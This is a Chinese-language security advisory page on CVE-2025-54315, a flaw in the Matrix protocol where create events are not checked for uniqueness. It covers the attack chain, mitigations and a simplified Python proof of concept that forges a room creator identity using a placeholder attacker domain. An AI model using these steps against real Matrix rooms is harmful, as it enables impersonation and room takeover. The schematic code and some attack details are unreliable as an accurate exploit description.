IPBUF安全漏洞报告
English
CVE-2025-54315 CVSS 7.1 高危

CVE-2025-54315 Matrix协议规范创建事件唯一性缺失漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-54315
漏洞类型
协议规范缺陷/状态解析缺陷
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Matrix Specification(Matrix协议规范)

相关标签

Matrix协议协议规范缺陷状态解析事件唯一性权限提升身份伪造CVE-2025-54315高危漏洞去中心化通信Project Hydra

漏洞概述

CVE-2025-54315是Matrix去中心化实时通信协议规范中的一个高危安全漏洞。该漏洞存在于Matrix协议规范1.16版本之前(即房间版本号小于12的实现中),核心问题在于协议规范缺乏对"创建事件"(create event)唯一性的强制校验机制。Matrix协议使用事件图(event graph)来维护房间状态,房间创建时会产生一个create事件,该事件定义了房间的创建者、房间类型等关键属性。在存在缺陷的规范中,由于缺乏对create事件唯一性的验证,恶意攻击者可以在房间状态解析过程中注入伪造的create事件,从而篡改房间的初始状态信息,包括房间创建者身份等关键属性。此漏洞的CVSS 3.1评分为7.1,属于高危级别,其攻击向量为网络攻击,需要低权限认证,无需用户交互,影响范围已改变(Scope Changed),对完整性造成高影响,对可用性造成低影响。该漏洞影响了所有使用Matrix协议规范1.16之前版本的兼容实现,包括各种Matrix homeserver软件、客户端应用以及桥接服务等。Matrix项目团队已在2025年8月通过"Project Hydra"项目发布了改进的状态解析机制,并在1.16版本规范中修复了该问题。

技术细节

Matrix协议采用基于事件的有向无环图(DAG)结构来维护房间状态。每个房间都有一个"create"事件作为状态图的根节点,定义了房间的初始属性,包括创建者(sender字段)、房间类型、版本号等关键信息。在正常的协议实现中,create事件应当具有唯一性,因为一个房间只能被创建一次。然而,在Matrix协议规范1.16之前的版本中(即房间版本小于12),状态解析算法(state resolution algorithm)并未对create事件的唯一性进行强制校验。

攻击者利用此漏洞的方式如下:

1. 攻击者首先需要获得房间的访问权限(低权限即可),这可以通过加入房间或拥有有效认证令牌实现。

2. 攻击者构造一个恶意的create事件,该事件具有与原始create事件不同的sender字段(伪造的创建者身份),但保持相同的room_id和state_key。

3. 攻击者将该恶意create事件发送到房间。由于规范缺乏唯一性校验,该事件可能被状态解析算法接受并合并到房间状态中。

4. 在后续的状态解析过程中,由于不同homeserver可能持有不同的状态视图,恶意create事件可能在某些服务器上覆盖原始的合法create事件,导致房间的创建者身份被篡改。

5. 攻击成功后,攻击者可以冒充房间的合法创建者,执行只有创建者才能执行的操作,如修改房间权限设置、踢出原创建者等。

该漏洞的根本原因在于状态解析算法在处理create事件时,仅依赖事件哈希和深度等属性进行比较,而未验证create事件的sender字段是否与已知的合法创建者一致。Matrix项目通过"Project Hydra"改进了状态解析算法,在1.16版本规范中引入了create事件唯一性校验机制,要求所有create事件必须具有相同的sender字段,从而修复了此漏洞。

攻击链分析

STEP 1
步骤1:获取房间访问权限
攻击者通过正常渠道(如被邀请加入房间)获得目标Matrix房间的低权限访问权限,或通过有效的认证令牌连接到目标homeserver。
STEP 2
步骤2:分析房间状态
攻击者通过Matrix客户端-服务器API查询目标房间的当前状态,获取原始的m.room.create事件内容,包括合法的创建者身份信息。
STEP 3
步骤3:构造恶意create事件
攻击者构造一个伪造的m.room.create事件,保持与原始事件相同的room_id和state_key,但将sender字段修改为攻击者控制的用户ID。
STEP 4
步骤4:注入恶意事件
攻击者通过PUT /_matrix/client/v3/rooms/{roomId}/state/m.room.create/端点将恶意create事件发送到目标homeserver,利用规范中缺乏唯一性校验的缺陷。
STEP 5
步骤5:触发状态解析冲突
当不同homeserver之间进行状态同步时,由于缺乏create事件唯一性校验,恶意事件可能在状态解析过程中覆盖原始的合法create事件。
STEP 6
步骤6:权限提升与持久化控制
攻击成功后,攻击者冒充房间的合法创建者,获得房间的最高管理权限,可以修改房间设置、踢出原创建者或实施进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-54315 PoC - Matrix Create Event Uniqueness Bypass # This PoC demonstrates how to exploit the lack of create event uniqueness # in Matrix protocol specification before 1.16 (room version < 12) import json import hashlib # Step 1: Construct a malicious create event with forged sender def create_malicious_event(original_event, forged_sender): """ Create a malicious create event that mimics the original but with a different sender field, exploiting the lack of uniqueness check. """ malicious_event = original_event.copy() malicious_event["sender"] = forged_sender # Forge the creator identity # Keep the same type, room_id, and state_key as the original malicious_event["type"] = "m.room.create" malicious_event["state_key"] = "" # create events have empty state_key # Recalculate hashes (simplified for demonstration) event_content = json.dumps(malicious_event, sort_keys=True).encode() malicious_event["hashes"] = { "sha256": hashlib.sha256(event_content).hexdigest() } return malicious_event # Step 2: Simulate state resolution exploit def exploit_state_resolution(room_id, original_create_event, attacker_user_id): """ Exploit the state resolution algorithm by injecting a forged create event into the room state. """ print(f"[*] Targeting room: {room_id}") print(f"[*] Original creator: {original_create_event['sender']}") print(f"[*] Attacker forging as: {attacker_user_id}") # Create the malicious event malicious_event = create_malicious_event(original_create_event, attacker_user_id) # In a real exploit, this event would be sent to the homeserver # via the Matrix client-server API: # PUT /_matrix/client/v3/rooms/{roomId}/state/m.room.create/ # With body: { "creator": attacker_user_id, "room_version": "11" } print(f"[+] Malicious create event constructed:") print(json.dumps(malicious_event, indent=2)) print(f"[!] Exploit sent - awaiting state resolution on target homeserver") return malicious_event # Example usage (for room version < 12) if __name__ == "__main__": original_event = { "sender": "@legitimate_user:matrix.org", "type": "m.room.create", "state_key": "", "content": { "creator": "@legitimate_user:matrix.org", "room_version": "11" }, "room_id": "!exampleRoom:matrix.org" } attacker = "@attacker:evil.example.com" exploit_state_resolution( "!exampleRoom:matrix.org", original_event, attacker )

影响范围

Matrix Specification < 1.16
Matrix Room Version < 12(即房间版本1-11的所有实现)

防御指南

临时缓解措施
在无法立即升级到Matrix规范1.16版本的情况下,建议采取以下临时缓解措施:1)限制非管理员用户对房间状态API的访问权限,特别是m.room.create事件的写入权限;2)在homeserver层面部署WAF规则,监控和拦截异常的create事件提交请求;3)对所有现有房间进行审计,检查是否存在重复的create事件;4)暂时将敏感房间迁移到使用房间版本12的新房间;5)密切监控Matrix官方安全公告,及时应用安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表